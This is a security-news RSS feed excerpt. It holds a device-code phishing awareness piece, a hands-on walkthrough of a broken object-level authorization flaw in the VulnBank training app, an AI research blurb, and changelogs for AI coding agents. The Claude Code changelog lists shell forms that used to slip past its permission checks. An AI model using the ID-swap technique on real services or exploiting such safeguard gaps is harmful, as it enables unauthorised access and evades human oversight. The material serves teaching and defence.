unless you initiated the request.</h4><p>If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.</p><h4>Check why you are being asked to authenticate.</h4><p>Ask yourself:</p><ul><li>Did I start this login?</li><li>Am I trying to sign in on another device?</li><li>Was I expecting this authentication request?</li></ul><p>If the answer is no, do not continue.</p><h4>Be cautious of urgent security emails.</h4><p>Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.</p><h4>Review recently authorized applications.</h4><p>Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.</p><h4>Revoke active sessions if you suspect compromise.</h4><p>If you believe you accidentally completed a Device Code Phishing request:</p><ul><li>Immediately sign out of all active Microsoft sessions.</li><li>Revoke recently granted application permissions.</li><li>Change your Microsoft account password.</li><li>Inform your organization’s IT or Security team.</li><li>Review your recent sign-in activity for any suspicious access.</li></ul><p>Acting quickly can significantly reduce the impact of token-based attacks.</p><h3>Conclusion</h3><p>Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.</p><p>By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.</p><p>This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.</p><p>Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.</p><p>As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfa189643f45" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without-cfa189643f45">Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]></title>
<description><![CDATA[A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBankVulnBankThere’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’...]]></description>
<link>https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTehjKwtISkTLR8KwRRrRw.png"><figcaption>VulnBank</figcaption></figure><p>There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually <em>did</em>. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.</p><p>This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in <strong>VulnBank</strong>, an intentionally vulnerable banking application built for security training.</p><h3>What Is BOLA, Actually?</h3><p>Broken Object Level Authorization sits at <strong>#1 </strong>on the <strong>OWASP API Security Top 10 </strong>(API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.</p><p>The core idea in one sentence: <strong>the server correctly checks who you are, but never checks what you’re allowed to touch.</strong></p><p>Any API endpoint that takes an object identifier — a <strong>card_id</strong>, <strong>account_number</strong>, <strong>order_id </strong>— needs to answer two separate questions:</p><ol><li><strong>Authentication: </strong>is this a valid, logged-in user?</li><li><strong>Authorization: </strong>should <em>this </em><strong><em>specific user</em> </strong>be allowed to access <em>this specific object</em>?</li></ol><p>BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.</p><p>The vulnerable version:</p><pre>SELECT * FROM cards WHERE id = :card_id</pre><p>The fixed version:</p><pre>SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id</pre><p>That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.</p><p>So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.</p><h3>Setting the Stage: Two Users, Two Cards</h3><p>Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.</p><h3><strong>User 1 — Jhonny</strong></h3><ul><li>I created a virtual card with a <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IzNdvQ1HNkbGSk9AEz70FQ.png"><figcaption>Jhonny’s Virtual Card</figcaption></figure><ul><li>I then funded it with <strong>$80 </strong>from the main balance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*yyZLbn89enTTeEBs4gSKow.png"><figcaption>Funding the card</figcaption></figure><p>With the funding request captured in <strong>Burp Suite</strong>, I sent it to Repeater for closer inspection, this is the request whose <strong>card_id </strong>parameter would become the centerpiece of the whole test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKOsjOROq-GWkyoTOSyHNw.png"><figcaption>Jhonny Card Request in Burp</figcaption></figure><h3><strong>User 2 — Alex</strong></h3><p>Same setup:</p><ul><li>A fresh virtual card of <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*A-bryCWIEKgcBWvJSyHgGQ.png"><figcaption>Alex’s Virtual Card</figcaption></figure><ul><li>Funded with $100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*H-zuUIktIse3J_FkKY4iRg.png"><figcaption>Funding Alex’s card</figcaption></figure><ul><li>And the same treatment — captured the request and sent it to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhtrbarCUBXaggWB7u-YBw.png"><figcaption>Alex’s Card Request in Burp</figcaption></figure><p>Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.</p><h3>Step One: Does the App Even Check Who You Are?</h3><p>Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZ3P_vd-a31Bxve6I1kMw.png"><figcaption>Token error (Authentication enabled)</figcaption></figure><p><strong>401 Unauthorized: "Token is missing."</strong></p><p>Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check <strong><em>which</em> </strong>authenticated user is making the request, or just <strong><em>that</em> </strong>one is?</p><h3>Step Two: The Swap</h3><p>This is the actual test, and it’s almost anticlimactic in how simple it is.</p><p>I took <strong>Jhonny’s</strong> valid token and used it to fund <strong>Alex’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pM9M7X-q1bMfJng1TcsNqA.png"><figcaption>Funding Alex’s card with Jhonny’s Token</figcaption></figure><p><strong>200 OK.</strong> The card funded successfully with Jhonny's session authorizing a change to Alex's card.</p><p>Then I reversed it, <strong>Alex’s</strong> token, aimed at <strong>Jhonny’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Qqk7A4XKvrvCkqyXgRFQ.png"><figcaption>Funding Jhonny’s card with Alex’s Token</figcaption></figure><p><strong>200 OK</strong> again. Same result, opposite direction.</p><p>Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever <strong>card_id </strong>showed up in the URL, against whichever authenticated user happened to be making the call.</p><h3>Why This Isn’t “Just a Feature”</h3><p>The first pushback any BOLA finding gets is: <strong><em>“Couldn’t this just be an intentional transfer feature?”</em></strong></p><p>It’s a fair question, and worth addressing directly.</p><p>The answer is <strong>NO</strong>, for a few concrete reasons:</p><ul><li>There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.</li><li>Neither Jhonny nor Alex received any notification or gave any consent.</li><li>The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.</li><li>Both requests used each user’s <em>own</em> main balance and <em>own</em> token throughout, nothing about the flow resembled a designed transfer mechanism.</li></ul><p>A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.</p><h3>The Fix</h3><p>The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:</p><ul><li>Every object-level query needs an explicit ownership check tied to the authenticated session: <strong>WHERE card_id = ? AND user_id = ?</strong></li><li>Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint</li><li>Make cross-account testing a standard part of QA and code review: test with <strong>two different authenticated accounts</strong> against each other’s objects, not just each account against its own.</li></ul><h3>The Takeaway</h3><p>BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.</p><p>In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.</p><p>Authentication tells a server <em>who</em> is asking. Authorization is the separate and often forgotten question of <strong><em>what they’re allowed to ask for?</em></strong>. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.</p><p><em>This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a3bfc069a8b9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9">I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sakana AI’s Error Diffusion Trains Dale-Compliant Dual-Stream Networks, Reaching 96.7% MNIST and 61.7% CIFAR-10 Without Backpropagation]]></title>
<description><![CDATA[Backpropagation relies on weight transport, which biological circuits likely cannot implement. Sakana AI's Error Diffusion sidesteps that constraint, training dual-stream excitatory/inhibitory networks that obey Dale's principle. This piece breaks down how modulo error routing scales the rule fro...]]></description>
<link>https://tsecurity.de/de/3677552/ai-nachrichten/sakana-ais-error-diffusion-trains-dale-compliant-dual-stream-networks-reaching-967-mnist-and-617-cifar-10-without-backpropagation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677552/ai-nachrichten/sakana-ais-error-diffusion-trains-dale-compliant-dual-stream-networks-reaching-967-mnist-and-617-cifar-10-without-backpropagation/</guid>
<pubDate>Sat, 18 Jul 2026 08:33:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Backpropagation relies on weight transport, which biological circuits likely cannot implement. Sakana AI's Error Diffusion sidesteps that constraint, training dual-stream excitatory/inhibitory networks that obey Dale's principle. This piece breaks down how modulo error routing scales the rule from MNIST to CIFAR-10 and reinforcement learning, and what its task-dependent ablations reveal.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/17/sakana-ais-error-diffusion-trains-dale-compliant-dual-stream-networks-reaching-96-7-mnist-and-61-7-cifar-10-without-backpropagation/">Sakana AI’s Error Diffusion Trains Dale-Compliant Dual-Stream Networks, Reaching 96.7% MNIST and 61.7% CIFAR-10 Without Backpropagation</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v17.0.4]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Fixed

Fixed Kimi Code usage reports dropping the 5h window reset time (omp usage showed no "resets in …" for the 5h limit): the API returns resetTime on the limit detail, not on window, so the parsed row-level reset is now carried onto the window when the window itself has none.
...]]></description>
<link>https://tsecurity.de/de/3677472/tools/v1704/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677472/tools/v1704/</guid>
<pubDate>Sat, 18 Jul 2026 07:22:41 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed Kimi Code usage reports dropping the 5h window reset time (<code>omp usage</code> showed no "resets in …" for the 5h limit): the API returns <code>resetTime</code> on the limit <code>detail</code>, not on <code>window</code>, so the parsed row-level reset is now carried onto the window when the window itself has none.</li>
<li>Made Kimi device-id persistence best-effort: a missing or unwritable <code>~/.omp/agent</code> directory no longer throws during Kimi header construction, which silently nulled every <code>kimi-code</code> usage probe on fresh installs.</li>
<li>Coerced boolean tool-schema subschemas to MFJS object forms for native Moonshot/Kimi endpoints, preventing the task tool's <code>outputSchema</code> field from causing HTTP 400 responses (<a href="https://github.com/can1357/oh-my-pi/issues/5952" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5952/hovercard">#5952</a>).</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Changed</h3>
<ul>
<li>Kimi-family models now use MFJS tool schema on all hosts, including proxies like OpenRouter that forward schemas to Moonshot</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed bundled Linux ffmpeg recording by selecting its available ALSA input when PulseAudio support is absent, and surfaced recorder stderr when capture fails (<a href="https://github.com/can1357/oh-my-pi/issues/5907" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5907/hovercard">#5907</a>).</li>
<li>Session load now skips the recursive async blob-ref resolver for entries with no <code>blob:sha256:</code> references. A cheap synchronous precheck gates the walk per entry (preserving the previous per-entry initiation order under synchronous store mutation), so text-heavy histories no longer pay the <code>Promise.all</code> tree descent for every non-session entry (<a href="https://github.com/can1357/oh-my-pi/issues/5922" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5922/hovercard">#5922</a>).</li>
<li>Fixed <code>task</code> tool schemas emitting boolean subschemas that llama.cpp grammar generation cannot parse (<a href="https://github.com/can1357/oh-my-pi/issues/5957" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5957/hovercard">#5957</a>).</li>
<li>Fixed the transcript keeping finalized assistant blocks in the live compose walk after their rows entered native terminal scrollback, making each stream tick's <code>TranscriptContainer.render</code> depth-linear in session length. Fully committed finalized blocks are now compacted out of the local frame regardless of post-finalize version tracking; a later mutation no longer recommits on ordinary frames (no duplication) and rehydrates on the next destructive full replay (no loss). Compose cost for a live tail tick is now flat as depth grows (<code>bench/transcript-compose.bench.ts</code>: ratio(N5000/N500) 2.30 → 0.90) (<a href="https://github.com/can1357/oh-my-pi/issues/5930" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5930/hovercard">#5930</a>).</li>
<li>Fixed <code>/quit</code> and <code>/exit</code> hanging during interactive shutdown by making the mnemopi dispose path retain the current session and flush in-flight extractions without sleeping the bank; the <code>/memory enqueue</code> path and end-of-session backend enqueue still perform full cross-session consolidation. (<a href="https://github.com/can1357/oh-my-pi/issues/3641" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3641/hovercard">#3641</a>)</li>
</ul>
<h2>@oh-my-pi/hashline</h2>
<h3>Fixed</h3>
<ul>
<li>Rejected <code>DEL N:</code> headers with a trailing colon instead of silently tolerating the colon, so delete-with-body mistakes surface the corrective "has no colon" guidance.</li>
</ul>
<h2>@oh-my-pi/pi-mnemopi</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed a corrupt cached embedding model (truncated <code>model_optimized.onnx</code>, <code>Protobuf parsing failed</code> on load) permanently disabling local embeddings: init now quarantines the broken cache file (rename to <code>*.corrupt-&lt;ts&gt;</code>, only when the path resolves inside the fastembed cache directory) and retries once so the model re-downloads.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(mnemopi): self-heal a corrupt cached embedding model on init by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DarkPhilosophy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DarkPhilosophy">@DarkPhilosophy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915535326" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5923" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5923/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5923">#5923</a></li>
<li>perf(session): gate blob-ref resolution behind synchronous precheck by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915557895" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5925" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5925/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5925">#5925</a></li>
<li>fix(task): avoid boolean output schema subschemas by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916647111" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5958" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5958/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5958">#5958</a></li>
<li>fix(stt): select a supported Linux ffmpeg input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914568211" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5909" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5909/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5909">#5909</a></li>
<li>fix(tui): compact committed finalized transcript history by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915924036" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5943" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5943/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5943">#5943</a></li>
<li>fix(ai): normalize boolean tool schemas for Moonshot by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916584073" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5955" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5955/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5955">#5955</a></li>
<li>fix(kimi): surface the 5h usage window reset time by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iacore/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iacore">@iacore</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916567403" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5953" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5953/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5953">#5953</a></li>
<li>fix(mnemopi): lighter dispose consolidation so /quit returns quickly by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iacore/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iacore">@iacore</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4837166232" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/4843" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/4843/hovercard" href="https://github.com/can1357/oh-my-pi/pull/4843">#4843</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iacore/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iacore">@iacore</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916567403" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5953" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5953/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5953">#5953</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v17.0.3...v17.0.4"><tt>v17.0.3...v17.0.4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.214]]></title>
<description><![CDATA[What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail close...]]></description>
<link>https://tsecurity.de/de/3677323/downloads/v21214/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677323/downloads/v21214/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Fixed single-segment <code>dir/**</code> allow rules like <code>Edit(src/**)</code> auto-approving writes to nested <code>dir/</code> directories anywhere in the tree instead of only <code>&lt;cwd&gt;/dir</code></li>
<li>Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions</li>
<li>Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer</li>
<li>Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically</li>
<li>Fixed Bash permission checks treating zsh variable subscripts and modifiers in <code>[[ ]]</code> comparisons as inert text — these commands now prompt for approval</li>
<li>Fixed Bash permission checks to no longer auto-approve certain <code>help</code> and <code>man</code> commands that could run unsafe options, command substitutions, or backslash paths</li>
<li>Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog</li>
<li>Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see <a href="https://www.anthropic.com/research/end-subset-conversations" rel="nofollow">https://www.anthropic.com/research/end-subset-conversations</a></li>
<li>Added a periodic progress heartbeat for long-running tool calls that previously went silent</li>
<li>Added an ISO <code>modified</code> timestamp to memory file frontmatter</li>
<li>Added <code>message.uuid</code>, <code>client_request_id</code>, and <code>tool_source</code> attributes to OpenTelemetry log events for message-level correlation and tool provenance</li>
<li>Added <code>CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH</code> to configure the 60 KB truncation limit on OpenTelemetry content attributes</li>
<li>Added reasoning effort to the <code>subagentStatusLine</code> payload, so custom agent rows can render model and effort</li>
<li>Added permission prompts for <code>docker</code> commands (including the Podman <code>docker</code> shim) carrying daemon-redirect flags (<code>--url</code>, <code>--connection</code>, <code>--identity</code>, and Podman's remote mode) that previously ran without one</li>
<li>Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags</li>
<li>Fixed Bash tool killing the Claude session when a <code>pkill -f</code> pattern accidentally matched the CLI's own process (Linux)</li>
<li>Fixed unbounded memory growth when <code>--settings</code> points at a device file or multi-GB file; oversized (&gt;2 MiB) settings files now fail at startup with a clear error</li>
<li>Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows</li>
<li>Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap</li>
<li>Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task</li>
<li>Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)</li>
<li>Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)</li>
<li>Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)</li>
<li>Fixed the PowerShell tool reporting <code>where.exe</code>, <code>fc.exe</code>, and <code>diff.exe</code> as errors when they return a valid negative answer (Windows)</li>
<li>Fixed <code>&gt;</code> and <code>&gt;&gt;</code> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8</li>
<li>Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon</li>
<li>Fixed background sessions parked with <code>←</code> or <code>/background</code> and left idle keeping the background daemon and a worker process alive indefinitely</li>
<li>Fixed completed background sessions being impossible to remove via <code>claude rm</code> or the agent view once the background service had gone idle</li>
<li>Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view</li>
<li>Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store</li>
<li>Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled</li>
<li>Fixed <code>/install-github-app</code> and the <code>/mcp</code> settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached</li>
<li>Fixed plugins enabled via the <code>--settings</code> CLI flag not loading (regression since v2.1.181)</li>
<li>Fixed feature flags going stale in long-running sessions after the OAuth token rotates</li>
<li>Fixed <code>/ultrareview</code> refusing to run in repos with no merge base — it now offers to review all tracked files</li>
<li>Fixed <code>claude update</code> and <code>claude doctor</code> hanging silently, and the <code>/status</code> System diagnostics section going blank, when a shell-config path is a directory</li>
<li>Fixed memory frontmatter values being silently truncated at an inline <code>#</code> when memory files are saved</li>
<li>Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative <code>message_delta</code> frames</li>
<li>Fixed a spurious "check your network" warning that appeared while the advisor was thinking</li>
<li>Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation</li>
<li>Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context</li>
<li>Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources</li>
<li>Improved the <code>claude rc</code> workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory</li>
<li>Changed single-segment <code>dir/**</code> hook <code>if:</code> conditions to match only <code>&lt;cwd&gt;/dir</code>; write <code>**/dir/**</code> for any-depth matching. <code>deny</code>/<code>ask</code> permission rules keep their any-depth match.</li>
<li>Changed <code>file</code> commands using <code>-m</code>/<code>--magic-file</code> or <code>-f</code>/<code>--files-from</code> to require permission instead of being auto-allowed as read-only</li>
<li>Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket</li>
<li>Changed SessionStart hooks to report source <code>"fork"</code> when a session begins as a fork instead of <code>"resume"</code></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260718.gacae7124b]]></title>
<description><![CDATA[What's Changed

feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by @ompatel-aiml in #28424
fix(core): mitigate infinite ReAct loops and prompt injection loops by @am...]]></description>
<link>https://tsecurity.de/de/3677322/downloads/release-v0520-nightly20260718gacae7124b/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677322/downloads/release-v0520-nightly20260718gacae7124b/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>feat(caretaker-triage): implement LLM triage orchestrator and container build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850788084" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28345" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28345/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28345">#28345</a></li>
<li>refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905648856" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28424" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28424/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28424">#28424</a></li>
